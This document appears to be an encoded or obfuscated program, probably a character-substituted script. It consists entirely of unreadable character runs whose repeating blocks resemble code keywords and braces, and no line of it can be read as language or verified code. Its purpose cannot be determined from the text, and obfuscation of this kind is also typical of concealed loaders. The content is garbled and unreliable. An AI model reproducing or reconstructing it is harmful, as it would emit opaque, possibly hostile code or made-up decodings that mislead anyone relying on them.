	OVTVH`INEO^FN]EX5MZKJMQ5555B5PHLXR^WQHTM	L]ZERIFPL^T]UUS\5MHRGVMLV`WI]Q[VGM	L]ZERI555MZKJMQKMJZ55B5VYZROKFxsp}~sldVXM][PQ]Y\LbD55xsp}~sldEFRTLZZP[KbKMJZ5VYGZV`\ZHSHL[TYIKOIR[ZLWRUSY[E`VP
FSGYLX^VKOIR[ZLWRUSY5UGIVSNRH\TYUFEFRTLZZP[K555\TWJQV`G\FXK[KM	L]ZERIUGIVSNRH\TYUFUGIVSNRH\TYUF

OMUGES	[	RUI5JQLZKUGIVSNRH\TYUF555PHLXR^WQHTIE\Q]^[OUXZE`S
ELWNG[5VYN	OWX[PFG
^VXKGPHLXR^WQHTN	OWX[PFG
^VXKGE`S
ELWNG[5XFTSLI[EJIT]VXM][PQ]Y\L]]W	SFT[SO[QS5JO[^KZ`POKVPQNLHJ
V]\SHZGYWU
	OVTEFRTLZZP[K5Q	
OIM^H]XFX^SVH`INEO^FN]EX5VYN	OWX[PFG
^VXKGVXM][PQ]Y\LEFRTLZZP[KD5JT

J
T
SEFRTLZZP[KQX
]H	WREXVVo~kwvqyp`yvszq~rzQX
]H	WREXVV55VFEMXQ	L[URXZK`POKVPQVXM][PQ]Y\L	^MM^FE`K^MI\I^owo`r~upm`izmlvpqIXHMWHMTE`K^MI\I^5555VY]]W	SFT[SO[QS	VFEMXQ	L[URVXM][PQ]Y\L
JT

J
T
SVFEMXQ	L[URKMJZD5JO[^KZ`POKVPQ]]W	SFT[SO[QS	EFRTLZZP[K		VXM][PQ]Y\L	VFEMXQ	L[UR^MM^FJT

J
T
S5B5JQLZKJT

J
T
SVFEMXQ	L[UR5B5B5MZKJMQ5555B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5555B\^K\WzG\ZOKVPQSKQO
]K`D5BYVQ^SSFD5X
LWR^P]VF\MVXM][PQ]Y\L5555B555B5YJQ\KVPQJLJWQ
ZWLW^LNTJMOTSTJ\L5D555VYVH`INEO^FN]EXEFRTLZZP[K]]W	SFT[SO[QSVXM][PQ]Y\LD555KG	^YJWR`^XMOZVXM][PQ]Y\L
MOTSTJ\L55VYKG	^YJWR`^XMOZDZOMTUPFVKYCFELNH`ZOMTUPFVKYa5MVE\IUEPWNQ[G`G^MM^F5HWVSZSKQO
]K`]]W	SFT[SO[QSKG	^YJWR`^XMOZY^SLZD5VYSKQO
]K`SKQO
]K`EFRTLZZP[K	MVE\IUEPWNQ[G`GdbSKQO
]K`5B5VY]]W	SFT[SO[QSEFRTLZZP[KVH`INEO^FN]EXKG	^YJWR`^XMOZ5MZKJMQMVE\IUEPWNQ[G`G5B5B5VYEFRTLZZP[K]]W	SFT[SO[QS
D5OUYP\PUYJ
	EFRTLZZP[K
MOTSTJ\L5VYVH`INEO^FN]EX	OUYP\PUYJ
	MZKJMQVH`INEO^FN]EX
VH`INEO^FN]EX	OUYP\PUYJ
	^MM^F]]W	SFT[SO[QS	5B55VYVH`INEO^FN]EX
]]W	SFT[SO[QS
D5SOU^P	SVH`INEO^FN]EX
MOTSTJ\LVH`INEO^FN]EX

5VYVXM][PQ]Y\L	SOU^P	SMZKJMQVXM][PQ]Y\L
	VH`INEO^FN]EX
SOU^P	S5B5MZKJMQQJSS5B55YJQ\KVPQIE[
QM[VN\`]\E]JK]R
KFPJS\O5D5VYVXM][PQ]Y\L
K]R
KFPJS\OCCVXM][PQ]Y\LK]R
KFPJS\OVH`INEO^FN]EX
Y^SLZMZKJMQY^SLZJQJX[WH
\IHWOJK	PGWOYJQJX[WH
\IH5VYEFRTLZZP[KK]R
KFPJS\O	K]R
KFPJS\OUH`VLVJVW
UTUZK]R
KFPJS\O5555VYVXM][PQ]Y\LK]R
KFPJS\O
	
MZKJMQY^SLZ5VY]]W	SFT[SO[QS
EFRTLZZP[K	MZKJMQKMJZ5VY[ZYVQZ[VH`INEO^FN]EX	D5Z[WK[I`KPTZQ`XZK`^SSK]R
KFPJS\O5VYVXM][PQ]Y\L	Z[WK[I`MZKJMQKMJZ5ZK`JJEY`\WM5YPMZ^\WZ[WK[I`^LVLXMN]]GOD5VY]]W	SFT[SO[QS	VLXMN]]GOD55VYVLXMN]]GOdbk`|jmsf`pozqCCVLXMN]]GOdbk`{pss~m`pozq`|jmsf`}m~|zlZK`JJEY`\WM5\PQKVQJZ5B5VYVLXMN]]GODZK`JJEY`\WM5ZSLZVYVLXMN]]GOBD5555ZK`JJEY`\WM5VYZK`JJEY`\WMMZKJMQY^SLZ555B5555B5555MZKJMQZK`JJEY`\WM5B5KMFD5KPTZQ`XZK`^SSK]R
KFPJS\Okptzq`o~mlz555MZKJMQKMJZ5B\^K\WkWMPH^]SZSKQO
]K`D5MZKJMQY^SLZ5B\^K\WzG\ZOKVPQSKQO
]K`D5MZKJMQY^SLZ5B5B5YJQ\KVPQQQZRQNFPHFZT^XHU5D5MZKJMQ^MM^FEFRTLZZP[K	VH`INEO^FN]EX	VH`INEO^FN]EX	
5B5YJQ\KVPQNWX`JZNOIIF]YW5D5MZKJMQ^MM^FEFRTLZZP[K		VXM][PQ]Y\L	VXM][PQ]Y\L	EFRTLZZP[K	VXM][PQ]Y\L]]W	SFT[SO[QSVXM][PQ]Y\LVH`INEO^FN]EX]]W	SFT[SO[QS]]W	SFT[SO[QS
VXM][PQ]Y\L	EFRTLZZP[KVH`INEO^FN]EX]]W	SFT[SO[QS]]W	SFT[SO[QS]]W	SFT[SO[QS]]W	SFT[SO[QS]]W	SFT[SO[QSVH`INEO^FN]EXVH`INEO^FN]EX
YO
VII`YVL	N]I[SOFTI	YO
VII`YVL	5555B5YJQ\KVPQVEK[EH	]^LXWGZPR5D5MZKJMQ^MM^FVXM][PQ]Y\L	EFRTLZZP[KEFRTLZZP[KVH`INEO^FN]EX5B55YJQ\KVPQJ
`GQOYQO	U]YI\VF`HJGOW
XQLZ`5D5VYVXM][PQ]Y\L]]W	SFT[SO[QSMZKJMQXEZQ\P[ZHJGOW
XQLZ`a5555VYVXM][PQ]Y\L]]W	SFT[SO[QSD5MZKJMQcGYcG]cGcGcGcGcGcGcGcGXE[ZYS^KZHJGOW
XQLZ`
EFRTLZZP[KiVH`INEO^FN]EX
HJGOW
XQLZ`]]W	SFT[SO[QSiEFRTLZZP[KHJGOW
XQLZ`	

	
55B5MZKJMQHJGOW
XQLZ`5B5YJQ\KVPQNOH]K	EOPVXVUSGIMPHJGOW
XQLZ`55D5VYVH`INEO^FN]EX	HJGOW
XQLZ`CC]]W	SFT[SO[QSHJGOW
XQLZ`MZKJMQHJGOW
XQLZ`5VYEFRTLZZP[KHJGOW
XQLZ`cGYcG]MZKJMQHJGOW
XQLZ`55VYEFRTLZZP[KHJGOW
XQLZ`GGYMZKJMQY^SLZ5RTW
MM
I`EFRTLZZP[KiVH`INEO^FN]EXHJGOW
XQLZ`
a

5RTW
MM
I`]]W	SFT[SO[QS	RTW
MM
I` RTW
MM
I`dbSO\UX[XJC[MZMNVR
[^TOSO\UX[XJa	5555VYRTW
MM
I`	CCRTW
MM
I`GZ]YZG\MZKJMQY^SLZ5555VYEFRTLZZP[KVXM][PQ]Y\LD5ZMQZWP	SEXE[Z\P[ZHJGOW
XQLZ`
	
555VYZMQZWP	SEY^SLZMZKJMQZMQZWP	SE5B5VYVH`INEO^FN]EXVXM][PQ]Y\LD5555ZMQZWP	SEXEVQYS^KZVXM][PQ]Y\LHJGOW
XQLZ`aVXM][PQ]Y\LHJGOW
XQLZ`	
555MZKJMQVXM][PQ]Y\L	ZMQZWP	SEVXM][PQ]Y\LZMQZWP	SEG	ZZG\ ZMQZWP	SEY^SLZ5B5MZKJMQY^SLZ555B55555VYEFRTLZZP[KVH`INEO^FN]EX
D555YJQ\KVPQWZG]VQFKLNYW5D55VY]]W	SFT[SO[QS	FKLNYWCC]]W	SFT[SO[QSFKLNYWD5MZKJMQY^SLZ5B5MZKJMQVXM][PQ]Y\LVXM][PQ]Y\LFKLNYW5B5B555YJQ\KVPQHWEGJ	FWZJVY5555D5]V`[GOYHG^MM^F5EJXPHW\KRPF]QUZ^MM^F~}lo~kw~}lo~kwVH`INEO^FN]EX~}lo~kwEFRTLZZP[K5VY[ZYVQZ[]]W	SFT[SO[QSEJXPHW\KRPF]QUZdbho`|pqkzqk`{vm5YPMZ^\WEJXPHW\KRPF]QUZ^LZMQZWP	SED5G`ZVR^	ZHGZVXM][PQ]Y\LEFRTLZZP[K
 ]]W	SFT[SO[QSZMQZWP	SEVXM][PQ]Y\LY^SLZ5VYVH`INEO^FN]EX	G`ZVR^	ZHGZD5YPMZ^\WG`ZVR^	ZHGZ^L[ZNRP^YRR]OD5555HQLNIIP]]W	SFT[SO[QS[ZNRP^YRR]O5555VYHQLNIIPHQLNIIP		D5]V`[GOYHGdbHQLNIIP5555B5B5B5VQVKV^SVEZ[VLO^K\WZM55B5555VYZROKF]V`[GOYHGD5IYXE	[Y]V`[GOYHGdEFRTLZZP[K]V`[GOYHGb55MZKJMQIYXE	[YIYXE	[Y

OMUGES	[	RUI5B5GKVGX	Y^JN]]]W	SFT[SO[QS
	

5]UUPVEVRGVVH`INEO^FN]EXVH`INEO^FN]EX
 HO`M^Q[G]GG[G]
VXM][PQ]Y\L	

	5IYXE	[YGKVGX	Y^JN]]UUPVEVRGV5MZKJMQIYXE	[YIYXE	[Y

OMUGES	[	RUI5B5YJQ\KVPQLMLN`]PMOE^	VOURU\O	[XYW^HVPZULG
H	OPRG]	R^QJSS5D5X\LOHLYSYJQ\KVPQKIKOWS[L]JLZPRG]	R^D5VYEFRTLZZP[K	KIKOWS[L]CCKIKOWS[L]MZKJMQY^SLZ5VYVH`INEO^FN]EXKIKOWS[L]		
	MZKJMQY^SLZ5VYPRG]	R^D55KMFD55MZKJMQ]PPSVXM][PQ]Y\LPRG]	R^KIKOWS[L]5B\^K\WkWMPH^]SZSKQO
]K`D555MZKJMQY^SLZ5B\^K\WzG\ZOKVPQSKQO
]K`D5MZKJMQY^SLZ5B5B555MZKJMQKMJZ5B5V[KUMISHUKQEFVXM][PQ]Y\LVXM][PQ]Y\L ]]W	SFT[SO[QSURU\O	[XY^MM^F5]]W	SFT[SO[QSW^HVPZULG
H	O5EFRTLZZP[KY^SLZ5VXM][PQ]Y\LG[[ZG	55Y^SLZ55VYV[KUMISHUKQEFEFRTLZZP[K]]W	SFT[SO[QSCCVL`HO`ZMMPMV[KUMISHUKQEFD5555VYVQKHO`MZRPKZ`MZKMVZIZ`MZLOPQLZ`\P[ZV[KUMISHUKQEF
a
D5R]WVFHH`UHO`MZRPKZ`MZKMVZIZ`]P[FV[KUMISHUKQEF5VYX\LOHLYSR]WVFHH`UMZKJMQR]WVFHH`U5B5B5VY]]W	SFT[SO[QSVXM][PQ]Y\L
VH`INEO^FN]EXEFRTLZZP[K	]]W	SFT[SO[QS]]W	SFT[SO[QSD5FJ^[WX]FQVH`INEO^FN]EX
URU\O	[XY5VYFJ^[WX]FQY^SLZMZKJMQY^SLZ555]]W	SFT[SO[QS	FJ^[WX]FQ^MM^F5\PQLK^QK]]W	SFT[SO[QSKMJZ5\PQLK^QK]]W	SFT[SO[QSW^HVPZULG
H	O5555\PQLK^QK]]W	SFT[SO[QSY^SLZ5\PQLK^QKVH`INEO^FN]EX5\PQLK^QKVH`INEO^FN]EXY^SLZ555\PQLK^QKVH`INEO^FN]EXYJQ\KVPQVRLXYOWUOEO]JYTVTQFVXX[EYDMZKJMQTQFVXX[EY
		 B555555RZ]HHU^Z
LNQVXM][PQ]Y\LFJ^[WX]FQ5WHFJ
SYYFGJ\JMS`ZMMQPFJ^[WX]FQ5WV	QMS`FZE\JMS`XZKVQYPFJ^[WX]FQ5555\JMS`\SPLZFJ^[WX]FQ5VYWHFJ
SYYFGJMZKJMQY^SLZ5VYVQKWV	QMS`FZEdEFRTLZZP[Kb

RZ]HHU^Z
LNQY^SLZX\LOHLYSRZ]HHU^Z
LNQD5MZKJMQRZ]HHU^Z
LNQ5B5B5[ZLKMJ\KVPQP]LZMIZM55MZKJMQY^SLZ5B55YJQ\KVPQIK[XPI\URU\O	[XYWQRF]K]`LGYSLEH\NRGWLLJW^HVPZULG
H	OPRG]	R^QJSS5D5X\LOHLYSYJQ\KVPQKIKOWS[L]JLZPRG]	R^D5VYVXM][PQ]Y\L	KIKOWS[L]CCKIKOWS[L]MZKJMQY^SLZ5VYVXM][PQ]Y\LKIKOWS[L]
MZKJMQY^SLZ5VYPRG]	R^D5555KMFD5MZKJMQ]PPSVH`INEO^FN]EX
PRG]	R^KIKOWS[L]5B\^K\WkWMPH^]SZSKQO
]K`D55MZKJMQY^SLZ5B\^K\WzG\ZOKVPQSKQO
]K`D5MZKJMQY^SLZ5B555B5MZKJMQKMJZ5B5V[KUMISHUKQEFVH`INEO^FN]EXVXM][PQ]Y\L	 VH`INEO^FN]EX	URU\O	[XY^MM^F5]]W	SFT[SO[QSW^HVPZULG
H	O55EFRTLZZP[KY^SLZ5EFRTLZZP[K	5]]W	SFT[SO[QSEH\NRGWLLJ5]]W	SFT[SO[QSWQRF]K]`LGYSL5555Y^SLZ5VY]]W	SFT[SO[QSVH`INEO^FN]EXVL`HO`ZMMPMV[KUMISHUKQEFD5BZSLZVYV[KUMISHUKQEFD5K]R
KFPJS\OVQKHO`MZRPKZ`MZKMVZIZ`MZLOPQLZ`\P[ZV[KUMISHUKQEF5GOVFOZSHO`MZRPKZ`MZKMVZIZ`]P[FV[KUMISHUKQEF5555Z\WS\	ZHW]PE[UWHO`MZRPKZ`MZKMVZIZ`WZ^[ZMLV[KUMISHUKQEF5JQR
JI	QVRVJPXX5VYEFRTLZZP[KZ\WS\	ZHW]PE[UWD5hooPLK|PRRZQKLP]LKMJ\KVPQYMZZ]VI^MV^QK55YPMZ^\WZ\WS\	ZHW]PE[UW^LZJ`YKM
U	]
IT`GFMXHSD5JQR
JI	QVRVJPXXZJ`YKM
U	]
VXM][PQ]Y\LIT`GFMXHSEFRTLZZP[K
5B5555B5VYK]R
KFPJS\O	X\LOHLYSGOVFOZSD5MZKJMQGOVFOZS555B5BZSLZD5B5VY]]W	SFT[SO[QSEFRTLZZP[K
EFRTLZZP[K	EFRTLZZP[K	VH`INEO^FN]EX	EFRTLZZP[KD5FJ^[WX]FQVH`INEO^FN]EX
URU\O	[XY5VYFJ^[WX]FQY^SLZD5MZKJMQY^SLZ5B5OJ]SVLWMZ\PM[S^FZM55PNOWYX`	^Z^MM^F5YPMZ^\WEH\NRGWLLJ^LZJ`YKM
U	]
IT`GFMXHSD5PNOWYX`	^ZdbZJ`YKM
U	]
VXM][PQ]Y\LIT`GFMXHS5B5VXM][PQ]Y\L	FJ^[WX]FQ^MM^F5\PQLK^QKVXM][PQ]Y\LKMJZ5555\PQLK^QKEFRTLZZP[KWQRF]K]`LGYSL5\PQLK^QKEFRTLZZP[KKMJZ5\PQLK^QKVXM][PQ]Y\LW^HVPZULG
H	O5\PQLK^QKEFRTLZZP[KY^SLZ5\PQLK^QK]]W	SFT[SO[QS5\PQLK^QKVXM][PQ]Y\L
PNOWYX`	^Z5\PQLK^QKVH`INEO^FN]EXY^SLZ5\PQLK^QKVXM][PQ]Y\LYJQ\KVPQVRLXYOWUOEO]JYTVTQFVXX[EYDMZKJMQTQFVXX[EY	 B55RZ]HHU^Z
LNQVXM][PQ]Y\LFJ^[WX]FQ555WHFJ
SYYFGJ\JMS`ZMMQPFJ^[WX]FQ5WHY`EY\MK^E\JMS`ZMMPMFJ^[WX]FQ5WV	QMS`FZE\JMS`XZKVQYPFJ^[WX]FQ5555EWGUHOVUQ[PTGVQKWV	QMS`FZEdVH`INEO^FN]EXb5VYWHFJ
SYYFGJD5\JMS`\SPLZFJ^[WX]FQ5MZKJMQY^SLZ555B5rFlnsHVQ[PHYJQ\KVPQL[FQ^RV\OMVQ\VO^S55555\JMS`\SPLZFJ^[WX]FQY^V\HVJNY][		KNPFYVKS[XY^V\HVJNY][5VYEWGUHOVUQ[PTGGG\
RZ]HHU^Z
LNQY^SLZX\LOHLYSRZ]HHU^Z
LNQD5MZKJMQRZ]HHU^Z
LNQ5555B55VYRZ]HHU^Z
LNQD5B5MZKJMQY^SLZ5B5MZKJMQY^SLZ5B55YJQ\KVPQW[IFOTK	
H^IT[I5D5IGG[SUJQW[XNTQQZRQNFPHFZT^XHU5IREUMFJXTSSKNWX`JZNOIIF]YW55VYZROKFIGG[SUJQW[XNTCCZROKFIREUMFJXTSSKD5MZKJMQ^MM^F5B55S\KUX]LUJ`TH]]W	SFT[SO[QS	VXM][PQ]Y\L
 LKMVQXXZK`POKVPQVH`INEO^FN]EX
5555VYS\KUX]LUJ`THD5JQSP^[]^K\WMVQX]JYYZM55IREUMFJXTSSKVXM][PQ]Y\L
]]W	SFT[SO[QS	IREUMFJXTSSK^MM^FS\KUX]LUJ`TH55]]W	SFT[SO[QS
IREUMFJXTSSKS\KUX]LUJ`TH5B55T	RI`QLFIWVH`INEO^FN]EX
IGG[SUJQW[XNTdVXM][PQ]Y\L

IGG[SUJQW[XNTb5VYT	RI`QLFIWD555MZKJMQ^MM^F5B555WQRF]K]`LGYSLVXM][PQ]Y\L
	T	RI`QLFIW]]W	SFT[SO[QS
5HQ[FYUPVI^EZ^MM^FVXM][PQ]Y\L
VH`INEO^FN]EX
5^R[RJUVKJVXM][PQ]Y\L	KMJZ5YPMZ^\WIREUMFJXTSSK^LOSXV
MV	K[D55VYEFRTLZZP[K	KMJZ^R[RJUVKJD5]MZ^T5B5mZ\KPM^JKPMZY^\KPMMPK^KZMZLPSIZM555OSXV
MV	K[EFRTLZZP[K	LKMVQXOSXV
MV	K[5555VYOSXV
MV	K[D5\PQKVQJZ555B5KMFD5GOVFOZSIK[XPI\OSXV
MV	K[WQRF]K]`LGYSLHQ[FYUPVI^EZGGYJQ\KVPQKIKOWS[L]D5KU`ZSGV`EFRTLZZP[K	KIKOWS[L]KMJZ5MZKJMQVXM][PQ]Y\LKU`ZSGV`VLLZKKU`ZSGV`dVXM][PQ]Y\L	b5B5VYGOVFOZSY^SLZD5\PQKVQJZ5B5NXQXTKTS^ZJQW]]W	SFT[SO[QS	GOVFOZSKMJZ5VYEFRTLZZP[KNXQXTKTS^ZJQWCCVLLZKNXQXTKTS^ZJQWd]]W	SFT[SO[QS	bCC]]W	SFT[SO[QS	NXQXTKTS^ZJQWd]]W	SFT[SO[QS	
bD5\PQKVQJZ5B55FKLNYWNXQXTKTS^ZJQWdVXM][PQ]Y\L	
b5555VYVH`INEO^FN]EX		FKLNYW]]W	SFT[SO[QS	D5^SV^L^Q^SFEZLJ]L\MV]ZMYPMholVKZz[VKPM55FKLNYWVH`INEO^FN]EXFKLNYW5555B55FSQFQTRWEFRTLZZP[K
FKLNYW5VYFSQFQTRWY^SLZCCVH`INEO^FN]EXFSQFQTRWD5\PQKVQJZ5B55^ME\PF^T[ZWGG]5YWU\GOMG
S]]W	SFT[SO[QS	FSQFQTRWd^ME\PF^T[ZWb5H^W`FKJFPHLLKEFRTLZZP[KFSQFQTRW^ME\PF^T[ZWYWU\GOMG
S5VYVH`INEO^FN]EX	H^W`FKJFPHLLKCCVH`INEO^FN]EXH^W`FKJFPHLLKGGD5\PQKVQJZ5B55WFIYP`UV]OMOPEFRTLZZP[K	H^W`FKJFPHLLKdb55VYWFIYP`UV]OMOPCCVXM][PQ]Y\LH^W`FKJFPHLLKWFIYP`UV]OMOPD55\PQKVQJZ555B5555LG^]IQVH`INEO^FN]EX	H^W`FKJFPHLLKWFIYP`UV]OMOP5555NN[LWME`N]]W	SFT[SO[QSH^W`FKJFPHLLKWFIYP`UV]OMOP5VYVH`INEO^FN]EXLG^]IQCCEFRTLZZP[KNN[LWME`ND5\PQKVQJZ5B55RFTOOZKQEELNEH]LWWFGZZV`NN[LWME`NLG^]IQ555VYVXM][PQ]Y\LRFTOOZKQCC]]W	SFT[SO[QSRFTOOZKQD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS]]W	SFT[SO[QS
5\PQKVQJZ5B55T	K`Z\L]S]]W	SFT[SO[QS	RFTOOZKQdb5555VYT	K`Z\L]SCCEFRTLZZP[KRFTOOZKQT	K`Z\L]SD5PTG]`[M\TJL[^FSJVXM][PQ]Y\L	]]W	SFT[SO[QS5\PQKVQJZ5B55YN\JN[T[[WRVXM][PQ]Y\LRFTOOZKQT	K`Z\L]S5F	NREPMR\VPUT^OSEFRTLZZP[KRFTOOZKQT	K`Z\L]S5PY`[
WMY
Z]]W	SFT[SO[QS
EFRTLZZP[KVH`INEO^FN]EX
	EFRTLZZP[KEFRTLZZP[KVXM][PQ]Y\LF	NREPMR\VPUT^OS5VYVXM][PQ]Y\L	EFRTLZZP[KD5555JO[^KZ`POKVPQVXM][PQ]Y\L
OSXV
MV	K[5JO[^KZ`POKVPQVH`INEO^FN]EX]]W	SFT[SO[QScQPY`[
WMY
Z5B5MZKJMQ^MM^FVH`INEO^FN]EX
YN\JN[T[[WRVXM][PQ]Y\L	PY`[
WMY
Z5B\^K\WkWMPH^]SZSKQO
]K`DE^OWWNESTowo`r~upm`izmlvpq]J[N]KFUYQE^OWWNEST5PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5\PQKVQJZ5B\^K\WzG\ZOKVPQSKQO
]K`D5MZ]^S^Q\ZRZLL^XZNJZJZ55\PQKVQJZ5B5B5ZLWITM`EFRTLZZP[K	]]W	SFT[SO[QS
 LKMVQXXZK`POKVPQVXM][PQ]Y\L5SXFVW[PEZO
]GW]VJIUHXHJMEQT``GEFRTLZZP[K5VYZLWITM`VXM][PQ]Y\LSXFVW[PEZO
]GSXFVW[PEZO
]GD5PY`[
WMY
ZVXM][PQ]Y\LVH`INEO^FN]EXEFRTLZZP[K
	]]W	SFT[SO[QSVXM][PQ]Y\LVXM][PQ]Y\LZLWITM`EFM	O[]PFSG	G
\U
K[]F`M
EFM	O[]PFS	5VYZROKFPY`[
WMY
ZD5555MZKJMQ^MM^F]]W	SFT[SO[QS
SXFVW[PEZO
]GVXM][PQ]Y\LPY`[
WMY
ZK	XWMX		FTTWHE]SK	XWMX
5B5B5PTG]`[M\TJL[^FSJVH`INEO^FN]EX]]W	SFT[SO[QS555MZKJMQ^MM^F5B5YJQ\KVPQHGTKW	^YQOTG	O^LR[JJ]XPT	H]UO^MPF[QN	X`MW5D5VYVH`INEO^FN]EXEFRTLZZP[K
D5MZKJMQY^SLZ555B5GWGRPQEIHXNRMEFRTLZZP[K	[JJ]XPT	H]U5RSR`UNNORFV	JEFRTLZZP[K]]W	SFT[SO[QS	5E]OKOGJV]5YPMKTI
NWZV	
EPFMHRFGKEFRTLZZP[KGWGRPQEIHXNRMKTI
NWZV	
EPFMHRFGKKTI
NWZV	
D5E]OKOGJV]VXM][PQ]Y\LVH`INEO^FN]EX	GWGRPQEIHXNRMdKTI
NWZV	
baVXM][PQ]Y\L	RSR`UNNORFV	J5B5MZKJMQJO[^KZ`POKVPQQOTG	O^LR]]W	SFT[SO[QSRSR`UNNORFV	JE]OKOGJV]O^MPF[QN	X`MWY^SLZ55B55YJQ\KVPQ^WVLYQ`I[NM^TIGJQOTG	O^LRQIQTV``]5D5VYVXM][PQ]Y\LVXM][PQ]Y\LMZKJMQQIQTV``]5KE	\RYPOU[TXZK`POKVPQQOTG	O^LR5VYKE	\RYPOU[TCCVXM][PQ]Y\LKE	\RYPOU[TD5MZKJMQQIQTV``]5B555[F	GJTUFVRTL]]W	SFT[SO[QSKE	\RYPOU[TKMJZ5VY[F	GJTUFVRTLY^SLZCCEFRTLZZP[K[F	GJTUFVRTLD55MZKJMQQIQTV``]5B5RSR`UNNORFV	J[F	GJTUFVRTLdb5LMYIXU][UU]Z5YPMKTI
NWZV	
EPFMHRFGKVH`INEO^FN]EX[F	GJTUFVRTLKTI
NWZV	
EPFMHRFGKKTI
NWZV	
D5LMYIXU][UU]ZVXM][PQ]Y\LVH`INEO^FN]EX	[F	GJTUFVRTLdKTI
NWZV	
baEFRTLZZP[K
RSR`UNNORFV	J55B5K[UEVRZFXUIR`^L^K\NJ^LMYIXU][UU]Z5MZKJMQK[UEVRZFXUY^SLZ K[UEVRZFXUQIQTV``]55B555YJQ\KVPQIR`^L^K\NJ^H^W`FKJFPHLLK55D5VY]]W	SFT[SO[QSH^W`FKJFPHLLKMZKJMQY^SLZ5VY[ZYVQZ[EFRTLZZP[K	owo`izmlvpq`v{	
	DHE	VKMGVQowo`vqk`r~gowo`vqk`r~gWQX[QEIGHE	VKMGVQ5MZKJMQVXM][PQ]Y\LH^W`FKJFPHLLK^MM^F]]W	SFT[SO[QSY^SLZ5555B555MZKJMQEFRTLZZP[KH^W`FKJFPHLLK5B5YJQ\KVPQQLV\SYXEEMGLTW5555D5LK^KV\ZJ`YKM
U	]
QJSS5VYZJ`YKM
U	]
QJSSMZKJMQZJ`YKM
U	]
5YS]Y^ERQVMP[ZYVQZ[VH`INEO^FN]EX ~}lo~kw5ZJ`YKM
U	]
EFRTLZZP[KVH`INEO^FN]EXccYS]Y^ERQVMP55MZKJMQZJ`YKM
U	]
5555B555YJQ\KVPQZ
IZOXFH`L^GPJJ	PQOTG	O^LR5D5MZKJMQPLZOO]ZZSGMJWQLV\SYXEEMGLTWLKMVQXOMUGES	[	RUIQOTG	O^LR5B5YJQ\KVPQH`QGYXLZ]QRT`
TMRFHGZFR`MPUG5D55MZKJMQLKMVQX
			VQKWZG[Z\EFRTLZZP[KEFRTLZZP[KQLV\SYXEEMGLTW]]W	SFT[SO[QSTMRFHGZFR`MPUGGG

55B5YJQ\KVPQSHHSUHIY[5D5MZKJMQH`QGYXLZ]QRT`
]]W	SFT[SO[QS5B5YJQ\KVPQ^H	E	]NMVQO[I]S[ET5D5ZFG	^NSOYTOYHLKMVQXW]VJIUHXHJMEQT``GEFRTLZZP[K5MZKJMQVH`INEO^FN]EXZFG	^NSOYTOYHEFRTLZZP[K		ZFG	^NSOYTOYHSHHSUHIY[Y^SLZEFRTLZZP[KLKMVQXW]VJIUHXHJMEQT``GVXM][PQ]Y\LGZG
	5B55YJQ\KVPQW]VJIUHXHJMEQT``GQOTG	O^LRQIQTV``]5D5RZ[V^KZ\VOWZMLJVKZ55MZKJMQ^WVLYQ`I[NM^TIGJZ
IZOXFH`L^GPJJ	PQOTG	O^LRQIQTV``]5B5YJQ\KVPQP[G^WEOWE	QV`
QOTG	O^LRQIQTV``]5D5IT`GFMXHSW]VJIUHXHJMEQT``GQOTG	O^LRQIQTV``]5VYEFRTLZZP[KIT`GFMXHSMZKJMQIT`GFMXHS5VYVXM][PQ]Y\LIT`GFMXHSMZKJMQLKMVQXIT`GFMXHS5MZKJMQQIQTV``]5B555YJQ\KVPQUE`SSEE	KFE^M[HQTRIQOTG	O^LR[JJ]XPT	H]UO^MPF[QN	X`MW5D5HGTKW	^YZ
IZOXFH`L^GPJJ	PQOTG	O^LR[JJ]XPT	H]UO^MPF[QN	X`MW555B5YJQ\KVPQXNM[KQ	LWQMEKXSRZG5D5^TQPK`RYG	ZXVLLZKxsp}~sld]]W	SFT[SO[QS
b xsp}~sldEFRTLZZP[K
b^MM^F5KE	\RYPOU[TW]VJIUHXHJMEQT``G]]W	SFT[SO[QS	^MM^F5VYEFRTLZZP[KKE	\RYPOU[TD5^TQPK`RYG	ZX]]W	SFT[SO[QSKE	\RYPOU[T^TQPK`RYG	ZX5B5^TQPK`RYG	ZXVH`INEO^FN]EX^TQPK`RYG	ZX5MZKJMQVH`INEO^FN]EX^TQPK`RYG	ZXGG5B5555YJQ\KVPQWL[JXNXQVROZ	PGL5D5hosVLK}SP\TYVGJO^SSP\^KPM55VYVLLZKxsp}~sldVXM][PQ]Y\L
bCCZROKFxsp}~sld]]W	SFT[SO[QS
bMZKJMQ5KMFD5KE	\RYPOU[TW]VJIUHXHJMEQT``G]]W	SFT[SO[QS^MM^F5G^IZY	GUQ]]W	SFT[SO[QS]]W	SFT[SO[QS^MM^FKE	\RYPOU[Txsp}~sldVXM][PQ]Y\L
b5G^IZY	GUQ]]W	SFT[SO[QSG^IZY	GUQ	5UE`SSEE	KFE^M[HQTRI]]W	SFT[SO[QSG^IZY	GUQVH`INEO^FN]EX555B\^K\WkWMPH^]SZSKQO
]K`DE]	JWLQL		
M\IKELE]	JWLQL		5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5555B5B55YJQ\KVPQEELNEH]LWWFGZZV`H^W`FKJFPHLLKTZF55D5VYVXM][PQ]Y\LH^W`FKJFPHLLKCCVH`INEO^FN]EXTZFCCEFRTLZZP[KTZFD5MZKJMQQJSS55B5V	SWFXO\QQ[FEFRTLZZP[K
H^W`FKJFPHLLK5555HSM\QLQ	U\VVH`INEO^FN]EX
TZF5MVE\IUEPWNQ[G`G5YPMKTI
NWZV	
KTI
NWZV	
V	SWFXO\QQ[FKTI
NWZV	
D5MVE\IUEPWNQ[G`GVXM][PQ]Y\LVXM][PQ]Y\L	H^W`FKJFPHLLKdKTI
NWZV	
baEFRTLZZP[K	TZFdKTI
NWZV	
HSM\QLQ	U\Vb5B5MZKJMQMVE\IUEPWNQ[G`G55B55YJQ\KVPQNUV^KYPM]MKEU	VWZLTN^SZVMY55D55VY]]W	SFT[SO[QSTN^SZVMYD5TN^SZVMY^MM^F5B5`R]OL\\NQ[WZ
